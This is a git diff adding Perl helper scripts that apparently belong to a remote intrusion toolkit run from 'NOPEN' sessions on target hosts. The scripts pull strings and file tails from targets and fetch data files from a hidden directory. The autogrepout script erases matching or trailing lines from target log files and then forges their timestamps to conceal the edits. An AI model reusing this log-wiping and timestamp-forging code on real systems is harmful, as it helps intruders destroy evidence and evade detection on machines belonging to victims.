"$what\n" ; + close MYOUT; + } else { + dbg("NOT Logging to latewarnings in mymywarn(@_)"); + } +} + + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + $skiprest = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs getnewsuc @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs getnewsuc"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + mydie("bad option(s)") if (! Getopts( "hvf:" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog + +$prog uses -ls to find the hidden directory, and looks both there and +in ./ for the SUC data file. If it finds it, $prog downloads the SUC +data file if it is there and Decodes it locally. If the Decode is successful, +it removes the target file just pulled. + +The local files end up in $opsniff, +where they belong. + +Note that $prog is used on the newer STOIC based SUC, not the +older IN one (but work with the new SUC v. 2 AND v. 3). + +OPTIONS + + -h / -v show this usage statement / $prog version + -f file Use this remote file instead of looking for it in the + hidden directory + +"; + usage() if ($opt_h or $opt_v); + # make sure ARGV is healthy + $sucfile = $opt_f; + parsestatus() if ($sucfile =~ m,^\./,); +# mydie("-f $opt_f option must be a full path to a file") +# unless ($sucfile =~ m,^/.+, or !$opt_f); + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + # $printlater is appended to by mymywarn() + $printlater = "" ; + +}#myinit + + diff --git a/Linux/etc/autogetstrings b/Linux/etc/autogetstrings new file mode 100755 index 0000000..b70cedb --- /dev/null +++ b/Linux/etc/autogetstrings @@ -0,0 +1,114 @@ +#!/usr/bin/env perl +# +# INPUT: $ARGV[] is several files to strings to screen and local file +# +$VER="1.2" ; +$ext = $$ ; # limits likelihood of concurrent autogetstrings's colliding + # BUT: still possible. + # not too likely to happen. +myinit() ; +foreach (@ARGV) { + my $destfile = "$_.strings" ; + if (/^\s*\//) { # we got full path of remote file + my $remotedir = dirname($_) ; + my $localdir = "$opdown/$nopen_rhostname$remotedir" ; + `mkdir -p $localdir` ; + $destfile = "$localdir/".basename($_).".strings" ; + } + if (-e $destfile) { + my $ext = "000" ; + $ext++ while (-e "$destfile.$ext") ; + mywarn("$destfile: File exists, renaming to $destfile.$ext") ; + rename($destfile,"$destfile.$ext") ; + } + print OUT "-nohist -strings $_ > $dest:$destfile\n" ; + if ($popupoutput) { + $destfile =~ s/\/current\/down\/// ; + print OUT "-nohist -lsh 1x -title \"getstrings_$destfile\" -geometry 112x60+340+30 -e \"view $destfile\"\n" ; + } +} +close(OUT); +rename("$opetc/gs.getstringsnext.$ext","$opetc/gs.getstringsnext"); + +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +# warn "\n${COLOR_WARNING}\a@_$COLOR_NORMAL\n" ; +} + +sub mydie { + unless ($opt_h or $opt_v) { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + usage( "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n") ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + } + exit 1; +} + +sub myinit { + use File::Basename ; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $COLOR_WHITE="\033[4;97m" ; + $prog = basename $0 ; + $prog = "-gs getstrings" ; + $vertext = "$prog version $VER\n" ; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $opmail = "$opdown/mailpull/$nopen_rhostname" ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + $prog [-p] file1 [ file2 ... ] + + -p pop up output in separate window + +Run from within a NOPEN session, $prog calls autogetstrings which +builds a NOGS to use -strings on one or more files, putting output +both to the screen and to a local file with a \".strings\" extension +(unless -p is used). + +The alias \"-getstrings\" is the same as \"-gs getstrings\", and +\"-vgetstrings\" is the same as \"-gs getstrings -p\". + +"; + unlink("$opetc/gs.getstringsnext.$ext","$opetc/gs.getstringsnext") ; + mydie("bad option(s)") if (! Getopts( "hvp" ) ) ; + $popupoutput = $opt_p ; + $dest = "T" ; + $dest = "L" if $popupoutput ; + open(OUT,"> $opetc/gs.getstringsnext.$ext") || + mydie("cannot open $opetc/gs.getstringsnext.$ext"); + print OUT "#NOGS\n"; + usage() if ($opt_h or $opt_v or !@ARGV) ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $comment = "\#" ; + mydie("Call $prog from within noclient, not command line.\n". + "E.g., \"-lsh autogetstrings -b\"\n". + "$vertext") unless $nopen_rhostname; +} + +sub usage { + close(OUT); + rename("$opetc/gs.getstringsnext.$ext","$opetc/gs.getstringsnext"); + print "\nFATAL ERROR: @_\n" if ( @_ and !$opt_h ); + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ and !$opt_h ); + exit; +} # end sub usage diff --git a/Linux/etc/autogettail b/Linux/etc/autogettail new file mode 100755 index 0000000..41c8ed4 --- /dev/null +++ b/Linux/etc/autogettail @@ -0,0 +1,88 @@ +#!/usr/bin/env perl +# +# INPUT: $ARGV[] is several files to tail to screen and local file +# +$VER="2.0.0.1" ; +myinit() ; +foreach (@ARGV) { + s/^\s*//; + my $filename = $_; + my $destfile = "$_.tail" ; + if (/^\//) { # we got full path of remote file + my $remotedir = dirname($filename) ; + my $localdir = "$opdown/$nopen_rhostname$remotedir" ; + `mkdir -p $localdir` unless (-d $localdir); + $destfile = "$localdir/".basename($filename).".tail" ; + } + preservefile($destfile,"LOUD"); + doit("-tail $linecount $filename > $dest:$destfile"); + if ($popupoutput) { + filepopup($destfile,"-title \"gettail_${linecount}_$destfile\" -geometry 112x60+340+30"); +# $destfile =~ s/\/current\/down\/// ; +# print OUT "-nohist -lsh cd $opdown ; [ -s $destfile ] && 1x -title \"gettail_${linecount}_$destfile\" -geometry 112x60+340+30 -e \"view $destfile\"\n" ; + } +} +#close(OUT); +#rename($nextextfile,"$opetc/gs.gettailnext"); +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs gettail @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs gettail"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + $prog [-p] [+/-N] file1 [ file2 ... ] + + -p pop up output in separate window + -l Use L: instead of default T:, so tailed output not shown + +Run from within a NOPEN session, $prog calls autogettail which +builds a NOGS to use -tail [+/-N] on one or more files, putting +output both to the screen and to a local file with a \".tail\" +extension (unless -p is used). + +The aliases \"-gt\" and \"-gettail\" are the same as \"-gs gettail\", +and \"-vgt\" and \"-vgettail\" are the same as \"-gs gettail -p\". + +"; + $linecount = "" ; + for ($i=0 ; $i < @ARGV ; ) { + if ($ARGV[$i] =~ /^[-+]\d+$/) { + $linecount = splice(@ARGV,$i,1) ; + next ; + } + $i++ ; + } + $nextextfile = "$opetc/gs.gettailnext.$ext"; + unlink($nextextfile,"$opetc/gs.gettailnext") ; + mydie("bad option(s)") if (! Getopts( "hvpl" ) ) ; + $popupoutput = $opt_p ; + $dest = "T" ; + $dest = "L" if $popupoutput or $opt_l; +# open(OUT,"> $nextextfile") || +# mydie("cannot open $nextextfile"); +# print OUT "#NOGS\n"; + usage() if ($opt_h or $opt_v or !@ARGV) ; + + $socket = pilotstart(quiet); +}#myinit diff --git a/Linux/etc/autogrepout b/Linux/etc/autogrepout new file mode 100755 index 0000000..897f37e --- /dev/null +++ b/Linux/etc/autogrepout @@ -0,0 +1,628 @@ +#!/usr/bin/env perl +$VER="1.3.1.4" ; +myinit() ; +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) + = parsestatus(); +if ($targetos =~ /SunOS 5.[2345]/) { + unless($noprompt) { + my ($ans) = mygetinput("$COLOR_FAILURE\n". +"WARNING:\tOn $targetos, $prog cannot be used on files that are\n". +"\t\tcurrently open, for example by syslogd.$COLOR_NOTE\n". +"\n". +"\t\tAnd -O cannot be used with $targetos since it relies on /proc/*/fd\n". +"\n". +"Do you wish to proceed?","N"); + mydie("User aborted") if ($ans eq "n"); + } else { + mywarn("$prog is not usable on open files below Solaris 2.6"); + doit("-beep 9") unless (-e "$optmp/grepoutbeeped"); + `touch $optmp/grepoutbeeped`; + } + $checkifopen=0; +} + +@targetcommandsrun=("egrep","file","df","head"); +my $result = testrun(@targetcommandsrun); +mymydie("${result} -- Cannot continue") if $result; + +my $cdplater=0; +unless ($targetcwd eq $tmpdir) { + $cdplater++; + ($output,$nopenlines) = doit("-cd $tmpdir", + # ">> $t.0", + # "-ls $tmpdir/$t.0", + # "-rm $t.0", + ); + my $olddir = $targetcwd; + my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) + = parsestatus(force); + + mydie("Cannot -cd to $tmpdir") + unless ($targetcwd eq $tmpdir); + mywarn(".\n\n". + "NOTE: The NOPEN prompt still shows the OLD cwd, $olddir,\n". + " despite the -cd working as confirmed by -status."); + sleep 2; +} +# touch $tmpdir back at end of all things +($output,$nopenlines,@output) = doit("-ls -nd $tmpdir"); +# -ls -n now prints out extra comment lines we get rid of here +my $tmpdirtouch = $output[0]; +$tempsup=1; + +($output,$nopenlines,@output) = doit("=df ."); +my $freekbytes=0; +my $kbyte=0; +my $availfield = undef; +my (%lsline,%touchline,%atime,%mtime,%inode,$lastlineshort) = (); +foreach (@output) { + s/\s+/ /g; + s/^ //; + unless (/ /) { + $lastlineshort = "$_ "; + next; + } + $_ = $lastlineshort . $_; + $lastlineshort = ""; + (@f) = split(/ /,$_) ; + my $mount = pop(@f); + unless (defined $availfield) { + $kbyte++ if (/kbytes/i or /1k-blocks/i); + for ($i=0;$i<$#f;$i++) { + $availfield=$i if $f[$i] =~ /avail/i; + last if (defined $availfield); + } + } else { + $freekbytes=$f[$availfield] ; + } + dbg("kbyte=$kbyte freekbytes=$freekbytes=Parsing line:=$_="); +} +$freekbytes /= 2 unless $kbyte; # That is, 512 byte blocks assumed +($lsnoutput,$nopenlines,@lsnoutput) = doit("-ls -n @targetfiles"); +foreach (@lsnoutput) { + # -ls -n now prints out extra comment lines we get rid of here + next if /^\#/; + my ($mtime,$atime,$file) = /touch -t (\d+):(\d+)\s+(.*)[\r\n]*/; + $touchline{$file} = $_; + $mtime{$file} = $mtime; + $atime{$file} = $atime; +} + +# This block to test just touchback(); +#($ans,$longans) = touchback("/var/adm/messages",1); + +#doit("-ls /var/adm/messages /etc/passwd", +# "-touch -t 1116141001:1116517309 /var/adm/messages"); +#mydie("done:\n$ans\n$longans"); + +($output,$nopenlines,@output) = doit("-ls -i @targetfiles"); +@targetfiles = () ; # rebuild this from output not command line +my $checkfiles = "" ; +while (@output) { + my $next=0; + $_ = shift(@output); + ($inode,$type,$size,$mon,$file) = + /^\s*(-{0,1}\d+)\s+(.).*\s+(\d+)\s+(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+\d{1,2}\s+[\d:]+\s+\d{4}\s*(.*)/i; + $inode{$file} = $inode; + $lsline{$file} = $_; + $size = $size/1024 ; # now in K + chomp($file); + $next++ if ($type eq "d") ; + $next++ unless ($type eq "-") ; +# if ($checkifopen) { +# my @result = checkifopen($inode); +# if (@result) { +# if ($result[0] < 0) { +# progprint("CANNOT check if $file is open:\n". +# "\t$result[1]",1); +# } else { +# unless (-e "$opdown/ps.$nopen_rhostname") { +# ($output) = doit("=ps > L:$opdown/ps.$nopen_rhostname"); +# } +# if (open(IN,"$opdown/ps.$nopen_rhostname")) { +# $output="$result[1]\n\n"; +# while () { +# $output .= $_ if (/\s$result[0]\s+\d+\s+/); +# } +# close(IN); +# } +# progprint("WARNING: $file seems to be open by process $result[0]:\n\n". +# "$output\n\n". +# "\tHOWEVER, we will proceed with the attempt, which you can skip or abort.",$COLOR_FAILURE, +# "pause4"); +# } +# } +# } + if (!$next) { + if ($size > (0.90 * $freekbytes)) { + $size = int(100*$size)/100 ; + progprint("\n\n\nSKIPPING ${size}K $file.\n\t\t". + "You have to figure out some other way to clean that.\n\t\t". + "(It is bigger than 90% of free space in $tmpdir, ${freekbytes}K free.)\n\n\n",$COLOR_FAILURE); + mygetinput("Hit Enter to continue.") unless $noprompt; + $next++; + } elsif ($size == 0) { + if ($noprompt) { + progprint("\n\n\nSKIPPING empty file $file.\n\n"); + } else { + mygetinput("\n\n\nSKIPPING empty file $file.\n\nHit Enter to continue."); + } + $next++; + } + } + if ($next) { + # put times back on files we are done with only + touchback($file); + next; + } + $fileext{$file} = fileext($file) ; + push(@targetfiles,$file); + $checkfiles .= " $file" ; +} +if (@targetfiles) { + my %notasciifile = () ; + my @dothesefiles = @targetfiles ; + if ($checkascii and $checkfiles) { + ($output,$nopenlines,@output) = + doit("file $checkfiles"); + my $asciioutput = "" ; + my $badoutput = "" ; + @dothesefiles = () ; + while (@output) { + $_ = shift(@output); + my ($file,$rest) = /(.*):\s+(.*)/ ; + unless ($file and $rest) { + $badoutput .= $_; + touchback($file); + next; + } + unless ($rest =~ /ascii/i or $rest =~ /text/i) { + $notasciifile{$file} = 1 ; + touchback($file); + $asciioutput .= "\t$_" ; + } + } + mymydie("\n\nUnexpected/malformed output from file command:\n$badoutput\n\nBAILING!") + if $badoutput; + if ($asciioutput) { + progprint("NOT checking these non-ascii files (times already touched back):\n\n$asciioutput\n", + $COLOR_FAILURE); + sleep 7 ; + } + } + + # Put timestamp back on ALL files. If we're checking ascii, then + # the "file" command above changed the access time. + my $matchedfiles=0; + my $aborted=0; + foreach $file (@targetfiles) { + if ($aborted or $notasciifile{$file}) { + touchback($file); + next; + } + if ($removetail) { + ($output,$nopenlines,@output) = + doit("-tail -$removetail $file"); + } else { + ($output,$nopenlines,@output) = + doit("egrep$nocase \"$regexp\" $file"); + } + if ($output) { + $matchedfiles++; + my $s=""; + if ($removetail) { + $s="s" if ($removetail > 1); + } else { + $s="s" if (@output > 1); + } + $output = "(See command above for lines to remove--too long to duplicate here.)" + if length($output) > 512; + if ($noprompt) { + $ans = "y"; + } else { + my $extrawarning=""; + if ($checkifopen) { + my @result = checkifopen($inode{$file},$file); + #dbg("$#result entries in result=(@result)"); + if ( my ($pids) = (@result)) { + my $output=""; + if ($pids =~ /^-\d+$/) { + progprint("CANNOT check if $file is open:\n". + "\t$result[1]",1); + } else { + preservefile("$opdown/ps.$nopen_rhostname"); + doit("=ps > L:$opdown/ps.$nopen_rhostname"); + + if (open(IN,"$opdown/ps.$nopen_rhostname")) { + $output="$result[1]\n"; + while () { + foreach my $pid (split(/ /,$pids)) { + $output .= $_ if (/\s$pid\s/); + } + } + close(IN); + } + my $es = "es" if ($result[0] =~ / /); + $extrawarning = $COLOR_FAILURE. + "WARNING: $file seems to be open by process$es $result[0]:\n\n". + "$output\n\n". + "\tHOWEVER, we will proceed with the attempt if you do not abort.\n"; + $extrawarning .= $COLOR_NOTE."\n". + " NOTE: Proceeding with only syslogd having the file open is:\n". + " OK for Solaris (>= 5.6) and\n". + " OK for Linux (all) operating systems.\n" + if ($nopen_server_os =~ /linux/i or + $nopen_server_os =~ /(sunos|solaris)/i + ); + $COLOR_NORMAL; + doit("-beep 8"); + } + } + } + if ($removetail) { + ($ans) = mygetinput + ($extrawarning. + "\nFinal $removetail line$s in $file:${COLOR_FAILURE}\n". + "\n". + "$output\n". + "$COLOR_NORMAL\n". + "Remove trailing $removetail line$s of $file\n". + "(or Abort $prog entirely)?","N","A" + ); + } else { + ($ans) = mygetinput + ($extrawarning. + "\nLine$s in $file matching $regexp:${COLOR_FAILURE}\n". + "\n". + "$output\n". + "$COLOR_NORMAL\n". + "Clean offending line$s from $file\n". + "(or Abort $prog entirely)?","N","A" + ); + } + } + if ($ans eq "a") { + progprint("ABORTING!$COLOR_NOTE After we maybe set some times back.", + $COLOR_FAILURE,"pause2"); + $aborted++; + } elsif ($ans eq "y") { + $cleanedsome++; + if ($removetail) { + ($output) = doit("wc $file"); + my ($headcount) = $output =~ /^\s*(\d+)/; + $headcount -= $removetail; + doit("head -$headcount $file > $tt ; cat $tt > $file ; rm $tt"); + } else { + doit("egrep -v$nocase \"$regexp\" $file > $tt ; cat $tt > $file ; rm $tt"); + } + if ($checkresults) { + if ($removetail) { + dolocalecho("Following -tail should be clean if successful.",1); + doit("-tail -$removetail $file"); + } else { + dolocalecho("Following grep should come back empty if successful.",1); + doit("egrep$nocase \"$regexp\" $file"); + } + } + if ($dateinfile) { + ($output) = doit("-tail -1 $file"); + my ($secs) = epochseconds($output); + if ($secs) { + doit("-touch -t $secs:$secs $file"); + progprint("Used timestamp in last line of $file for mtime and atime.", + $COLOR_SUCCESS, + "pause1"); + } else { + mywarn("No date/time found in last line of $file--using its original times"); + touchback($file,1); + } + } else { + touchback($file,1); + } + } else { + touchback($file); + my $what = "MATCHES"; + $what = "tailed" if $removetail; + progprint("$file $what but not cleaning it"); + } + } else { # no $output + if ($removetail) { + touchback($file); + progprint("This is odd...a non-empty file has no tail?", + $COLOR_FAILURE,pause10); + } else { + touchback($file); + progprint("$file does not contain \"$regexp\""); + } + } + }#foreach $file + my $ascii = " ascii" if $checkascii ; + dolocalecho("No$ascii files found containing: \"$regexp\"",1) + unless $matchedfiles; + doit( + "-cdp" + ) if $cdplater; + if ($tmpdirtouch and !($tmpdirtouch =~ /-\d/)) { + ($output) = doit($tmpdirtouch); + mywarn("The -touch command above returned no output, which means that likely\n". + "\n\n\n\t\aTHE LAST -touch DID NOT WORK!!! So times on $tmpdir are maybe current!") + unless ($output); + } + if ($cleanedsome) { + my $what2 = "${COLOR_NOTE} (ABORTED after some cleaning)$COLOR_FAILURE" + if $aborted; + dolocalecho("Done$what2. All times touched back.",1) + } else { + my $what = "DESIRED"; + $what = "REQUIRED" unless $matchedfiles; + my $what2 = "${COLOR_NOTE} (ABORTED)$COLOR_FAILURE" + if $aborted; + dolocalecho("NO CLEANING $what$what2--Times touched back",1); + } +}#if @targetfiles + +#END MAIN LOGIC SUBS FOLLOW + +sub myinit { + $willautoport=1; + require "../etc/autoutils" ; + $prog = "-gs grepout" ; + $vertext = "$prog version $VER\n" ; + mymydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + $t = ".t0.$nopen_mypid" ; + $tt = ".t1.$nopen_mypid" ; + mymydie("bad option(s)") if (! Getopts( "hvp:diw:CNLl:O" ) ) ; +$usagetext = " +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs grepout\" is used. + +"; + $gsusagetext="Usage: $prog [options] \"egrep-regexp\" /path/to/target/file(s) + +$prog uses the \"egrep -v ... > t ; cat t > targfile\" trick to +remove lines matching \"egrep-regexp\" from the file(s) given. The user +is shown the matching content and then chooses whether or not to clean +each file. +$COLOR_FAILURE +NOTE: This option cannot always be used. E.g., Solaris 2.5 and below + syslogd keeps its log files open and so you cannot shorten them + this way (use sgrep). It is up to you to know when this method + is safe. Even on Solaris, however, old log files can be cleaned + this way (since they are not currently in use). $COLOR_NORMAL + +The egrep-regexp argument is, oddly enough, an egrep regular +expression. See man egrep for more on that. For example, using +\"one way|or another\" matches either \"one way\" or \"or another\". +(Now you've got a Blondie song in your head. That's your reward for +actually *reading* the usage statement. Hope you like it. ;-D ) + +The file argument(s) may each be a directory or file and MUST start +with a \"/\". They can contain \"*\" wildcards, but only if that argument +is double quoted. If the argument (or its wildcard match on target) is +a directory, all files in that directory are processed. + +The following target-resident programs will be used (their existence is +verified before proceeding): @targetcommandsrun + +All files examined/processed by $prog will have their mtime and +atime preserved via -touch. (${COLOR_FAILURE}NOTE: This WILL change the ctime to the +current time.$COLOR_NORMAL) + +NOTE 1: One temporary file (.t1.NOPENPID) is used during the cleaning + step, but $prog cleans this up. + +NOTE 2: To use the \"\$\" character in a regexp to signify end of line, + enter it as \"\\\\\$\" (two backslashes, then the \$). + +NOTE 3: Consecutive spaces must be entered as dots or alternating dots + and spaces. Instead of \"Nov 9\", use \"Nov .9\". Consecutive + spaces are shrunk down to a single space by the shell. + +OPTIONS + -i Makes the egrep case insensitive.". +# -d Debug mode--do everything but actually clean the files and +# show the NOGS script created to do so. +" + -w /dir Use /dir as the temporary file directory. One good reason to + use this is if your usual temp directory is too small for the + file being processed. [default: /tmp/] + -C Check that grepout worked with another grep to stdout. + (what? you don't trust the software? bah!) + -N Do NOT prompt whether or not to clean, just do so. Can be + bad if your regexp is not solid. ${COLOR_FAILURE}NOTE: This does NOT + make $prog usable with -gs holdwindow$COLOR_NORMAL. + -L Disable default behavior of looking for timestamp in final + line of file (after cleaning) to touch time to. + -l ## Remove the last ## lines of the file. + -O Use -ls -i /proc/*/fd to try to determine if file being + processed is open. If so, you will be warned and given the option + to skip that file. If -N is being used, the attempt WILL BE MADE + anyway. (NOTE: on Solaris below 2.6, -O does not work, but you are + warned of this restriction.) + +"; + mydie("\n\n\n$prog requires autoutils v1.0.6.3 or better\n\t\t(that is, noclient 3.0.3.2)") + if ((verval($autoutilsver))[1] < (verval("1.0.6.3"))[1]); + usage() if ($opt_h or $opt_v or !@ARGV) ; + $dateinfile = !$opt_L; + $removetail = int($opt_l) if + ($opt_l and ($opt_l == int($opt_l)) and $opt_l > 0); + unless ($removetail) { + $regexp = shift(@ARGV); + } + my $inquote = 0 ; + $inquote = ( $regexp =~ m/^\"[^\"]*$/) ; + @targetfiles = () ; + @openfiles = (); + # Traverse ARGV, shifting off first entry each pass. It's either + # more of the regexp if we're $inquote, or it's the file(s) + while ($_ = shift(@ARGV)) { + if (!$inquote and (/^\/.+/ or /^\"\/[^\"]*\"$/ or /^\/[^\"]*$/)) { + s/\"//g ; # no quotes after regexp we care about + s/^([^\\]{0,1})\*/$1\\*/ ; # escape the wildcards + s/([^\\]{2})\*/$1\\*/g ; # escape the wildcards unless already escaped + push(@targetfiles,$_) ; + } else { + if ($inquote) { + $inquote=0 if (/^[^\"]*\"$/) ; + $regexp .= " ". $_; + } else { + warn("Ignoring malformed target file $_\n"); + } + } + } + ($regexp) = $1 if $regexp =~ /^\"(.*)\"$/; + @origtargetfiles = @targetfiles ; + mydie("Target file required") + unless(@targetfiles); + $noprompt = " -N" if $opt_N; + $tmpdir = $opt_w ; + $tmpdir = "/tmp" unless $tmpdir; + $tmpdir =~ s/\/+$// ; + mymydie("Invalid -w argument \"$tmpdir\":\n\tmust be a full path") + unless ($tmpdir =~ /^\/\S+$/) ; + $checkascii = " -a"; # if $opt_a ; + $checkresults = $opt_C; + $nocase = " -i" if $opt_i ; + $finalpass = 0 ; + $checkifopen=$opt_O; + $debug = " -d" if $opt_d ; + $socket = pilotstart(quiet); +}#myinit + +sub mymydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + doit( + #"rm -f $tmpdir/$t.* $tmpdir/$tt", + "-cdp") if $cdplater; + ($output) = doit($tmpdirtouch) if $tmpdirtouch; + mydie($what,$color,$color2,$what2); +} +sub dopause { + dolocalecho(@_) if @_ ; + doit("-pause") ; +}#dopause + +sub fileext { + my $tmp = $_[0]; + $tmp =~ s/\//_/g ; + return $tmp; +}#fileext + +sub touchback { + # do nothing unless we have a valid touchline + # if we do touch it back + local ($file,$prompt) = (@_); + return unless $touchline{$file}; + my ($mtime,$atime,$ans,$longans); + my $done=0; + if ($noprompt and $prompt) { + progprint("Defaulting to original timestamp (due to -N)"); + $prompt=0; + } + if ($prompt) { + while (!$done) { + ($ans,$longans) = + mygetinput("Originally:\n\n". + $lsline{$file}."\n". + $touchline{$file}."\n\n". + "${COLOR_FAILURE}Allowed formats include:$COLOR_NORMAL\n". + " complete path or complete -ls line of reference file\n". + " \t\t\t\t\t(used for both mtime and atime)\n". + " : \t\t\t(mtime:atime)\n". + " M/D[/[YY]YY] H:M[:S] M/D[/[YY]YY] H:M[:S] \t(mtime atime)\n". + " M/D[/[YY]YY] H:M[:S] \t\t\t\t(used for both)\n". + " \t(in M/D format, local GMT year assumed if not\n". + " \tgiven, and seconds are randomized if left off.)\n\n". + "Enter time(s) to use to touch $file back (or Abort): ","original"); + if ($ans and $longans ne "original" and $ans ne "a") { + if ($longans =~ /^(\d+)(:\d+){0,1}\s*$/) { + $mtime=$1; + if (length($2)) { + $atime=$2; + $atime =~ s/^:+//; + } else { + $atime=$mtime; + } + } elsif (my ($monnum,$mday,$year,$hrmin,$sec,$secondpart) = $longans =~ + /(\d+)\/(\d+)(\/\d+){0,1}\s+(\d+:\d+)(:\d+){0,1}(.*)/) { + $year =~ s/^\/+//; + my $mon = $mons[$monnum-1]; + if ($sec eq "") { # randomize $sec if not given + ($sec) = padto(2,int(rand(60))); + $sec = ":$sec"; + } + # it is epochseconds() that decides to use current year if + # none found in string. + ($mtime) = epochseconds("$mon $mday $hrmin$sec $year"); + if ($secondpart and + (($monnum,$mday,$year,$hrmin,$sec) = $secondpart =~ + /(\d+)\/(\d+)(\/\d+){0,1}\s+(\d+:\d+)(:\d+){0,1}/)) { + $year =~ s/^\/+//; + $mon = $mons[$monnum-1]; + ($atime) = epochseconds("$mon $mday $hrmin$sec $year"); + } else { + $atime = $mtime; + } + } elsif ($longans =~ /(\/.*)$/) { + my $reffile = $1; + ($output,$nopenlines,@output) = doit("-touch $reffile $file"); + if ($output) { + return ($output,$nopenlines,@output) ; + } else { + progprint("-touch line FAILED! Does $reffile exist?",$COLOR_FAILURE,"pause3"); + next; + } + } else { + progprint("Invalid response. Try again.",$COLOR_FAILURE,"pause3"); + next; + } + } + $done++; + }#while(!$done) + }# else defaults to touchline below + if ($ans eq "a") { + progprint("\aAborting touch on $file--times show today's date.", + $COLOR_FAILURE,"pause5"); + } else { + # this if forces epochtime of both to be > 0 which is fine + if ($mtime and $atime) { + return doit("-touch -t $mtime:$atime $file"); + } else { + return doit($touchline{$file}); + } + } +}#touchback + +sub checkifopen { + local ($inode,$origfile) = (@_); + my ($output,$nopenlines,$pids,$lines,%gotpid); + unless (@openfiles) { # do this only once + ($output,$nopenlines,@openfiles) = doit("-ls -i /proc/*/fd"); + } + return (-2,"cannot check /proc/*/fd") unless @openfiles; + foreach (@openfiles) { + my ($thisnode,$pid) = /^\s*(-{0,1}\d+)\s.* \/proc\/(\d*)/; + # Not sure why, but -ls puts " -. " in @output but user sees " -> " + # for links. Here we match either. + my ($linkedfile) = / \/proc.* -[\.\>] (\/\S*)/; + if ($thisnode == $inode or $linkedfile eq $origfile) { + $pid = 1 unless $pid > 0; + $lines .= "$_\n"; + $pids .= "$pid " unless $gotpid{$pid}++; + } + } + chop($pids); + return ($pids,$lines) if $lines; + return (); +}#checkifopen diff --git a/Linux/etc/autohelpall b/Linux/etc/autohelpall new file mode 100755 index 0000000..8bbd909 --- /dev/null +++ b/Linux/etc/autohelpall @@ -0,0 +1,119 @@ +#!/usr/bin/env perl +# +# INPUT: contents of /current/etc are examined to see which -gs.blah +# scripts have accompanying autoblah scripts that have usage +# statements and then runs -gs blah -h on those. +# + +# These vars are set only here, not reset in loop below +$VER="2.0.0.1" ; +myinit() ; +$| = 1 ; +unlink("$opetc/helpall.output") ; +foreach (split(/\n/,`find $opetc/gs.* -type f -o -type l 2>/dev/null`)) { + next if /\~$/ ; + ($script) = /gs\.(.*)/ ; + next unless (-e "$opetc/auto$script") ; + next unless (length(`grep opt_h $opetc/auto$script 2>/dev/null`)) ; + my $h="h"; + $h="H" if (`grep opt_H $opetc/auto$script 2>/dev/null`) ; + $h = "h" if ($script ne "stoicctrl" or + $script eq "wearcup" or + $script eq "replay" or + $script =~ /helpall/);# exception, this -H is not help + doit("$lsh$opetc/auto$script -$h 2>&1 $tee$opetc/helpall.output\n"); +} +progprint(".\n\n\n\n". + "# See also $opetc/helpall.output which now contains the above help statements.\n"); +close(OUT) ; + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs helpall" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". 